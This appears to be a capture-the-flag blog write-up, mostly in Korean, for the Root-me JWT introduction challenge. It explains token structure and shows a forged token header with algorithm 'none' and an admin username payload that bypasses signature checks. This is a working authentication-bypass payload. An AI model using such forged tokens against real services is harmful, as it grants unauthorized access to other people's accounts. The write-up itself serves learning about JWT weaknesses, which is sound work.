Post

Root-me JSON Web Token (JWT) Introduction

JSON Web Token (JWT) - Introduction



1
2
3
4
5
6
7
20 Points
Secure token exchange
Author
Kn0wledge,  21 August 2019

Statement
To validate the challenge, connect as admin.






Solution



JWT(Json Web Token)이란?
brunch.co.kr/@jinyoungchoi95/1


관련 자료 중 Attacking JWT Authentication이 있어서 검색해보았고 아래 블로그에서 자세한 설명을 볼 수 있었다.
dohunny.tistory.com/m/15 –> GOOD


요약하면 JWT는 Header, Payload, Signature로 구성되어 있으며, 각각을 base64-url safe로 인코딩 후 dot으로 구분을 한다.

즉, Header.Payload.Signature 이며 세부적으로는 base64(Header).base64(Payload).HMACSHA256(base64(Header)+"."+base64(payload),key)이다.

그런데 Header 부분에서 algorithm을 None으로 해주면 Signature 없이 인증을 할 수 있다고 한다.


따라서 아래 값을 JWT Encoding 사이트에서 토큰을 생성하여 Header, Payload 값을 이용해 인증해주면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HEADER:
{
    "alg": "none",
    "typ": "JWT"
}
PAYLOAD:
{
    "username": "admin"
}
signHMACSHA256(
  base64Url(header) + "." +
  base64Url(payload),
Your-HMAC-secret
)






This post is licensed under CC BY 4.0 by the author.